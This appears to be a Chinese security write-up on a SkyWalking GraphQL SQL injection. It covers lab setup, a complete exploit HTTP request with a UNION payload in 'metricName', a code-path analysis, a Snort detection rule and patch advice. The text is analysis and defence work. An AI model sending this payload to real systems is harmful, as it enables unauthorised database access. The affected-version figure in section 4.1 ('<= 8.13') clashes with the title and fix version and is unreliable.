Apache Skywalking <=8.3 SQL注入(漏洞分析|snort规则编写)
*一、漏洞概述 **
*1.1 漏洞简介*
·漏洞名称:Apache Skywalking <=8.3 SQL注入
·漏洞编号:\
·漏洞类型:SQL注入漏洞
·漏洞威胁等级:超危
·影响范围:Apache Skywalking <=8.3
·利用条件:默认配置
*1.2 组件描述*
Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案。项目于 2015 年创建,并于 2017 年 12 月进入 Apache 孵化器。
Apache SkyWalking 提供了分布式追踪,服务网格(Service Mesh)遥感数据分析,指标聚合和可视化等多种能力。项目覆盖范围,从一个单纯的分布式追踪系统,扩展为一个可观测性分析平台(observability analysis platform)和应用性能监控管理系统。
*1.3 漏洞描述*
基于CVE-2020-9483、CVE-2020-13921,由于修补并不完善,导致被发现还存在一处SQL注入漏洞。
*二、漏洞复现*
*2.1 应用协议*
http
*2.2 环境搭建*
1.利用vulhub的环境:
wget https://github.com/vulhub/vulhub/blob/master/skywalking/8.3.0-sqli/docker-compose.yml
docker-compose up -d
2.然后访问8080端口,出现如下证明正常启动服务
*2.3 漏洞复现 **
1.首页抓包,将post body部分内容写入payload
exp:
POST /graphql HTTP/1.1
Host: 192.168.91.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 608
Origin: http://192.168.91.128:8080
Connection: close
Referer: http://192.168.91.128:8080/
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"INFORMATION_SCHEMA.USERS union all select database())a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageSize":10
}
}
}
}
2.报错
*三、漏洞分析*
*3.1 技术背景*
\
*3.2 代码分析*
- 当请求/graphql路由时,会交由
org.apache.skywalking.oap.query.graphql
的dopost
处理
2.dopost获取请求的json数据
3.因为是向querylogs发起查询请求,所以就走到org.apache.skywalking.oap.query.graphql.resolver
的LogQuery.queryLogs
的方法,返回时调用getQueryService().queryLogs
方法
4.接着走到org.apache.skywalking.oap.server.core.query
的LogQueryService
类的queryLogs
方法
5.通过调用getLogQueryDAO
方法,获取一个ILogQueryDAO
对象,进行计算该表达式可知,返回一个h2client
6.H2LogQueryDAO
继承了ILogQueryDAO
接口,所以最终走入H2LogQueryDAO
类的queryLogs
方法,拼接metricName
7.然后执行查询
8.buildCountStatement
将sql语句拼入select count:
9.我们执行h2Client.executeQuery()
,便可以得到报错
*3.3 流量分析 **
POST请求,注入地址位首页/graphql,其中请求body部分调用quertLogs,内容位json格式,在metricname后有很明显的sql注入语句,相应包中会出现"error"报错字段
*四、漏洞检测*
*4.1 组件版本自检*
以下版本受该漏洞影响:<= 8.13
目前最高版本:8.16
*4.2 漏洞检测规则、插件编写思路*
以下为该漏洞请求包特征
1./graphql
2.query queryLogs
3.LogQueryCondition
4.pageSize
5.“metricName”:“SQL_payload”
使用snort规则编写:
alert tcp any any -> any any (content:"/graphql";content:"query queryLogs";content:"LogQueryCondition";pcre:"/\"metricName\":[^\'](select|from|database|version|h2|schema|information|user|table|column|union|and|or)/i";content:"pageSize";msg:"您已受到Apache_Skywalking_SQL注入漏洞攻击";sid:1000001;)
*4.3 研判建议 **
观察相应包body是否报错出敏感信息
*五、防范建议*
*5.1 官方修复建议*
1、升级Apache Skywalking 到最新的 v8.4.0 版本。
2、将默认h2数据库替换为其它支持的数据库。
*5.2 临时修复建议*
写入过滤规则,黑名单等
六、*参考链接*
https://www.anquanke.com/post/id/231753
**七、备注
本文只涉及该漏洞SQL注入部分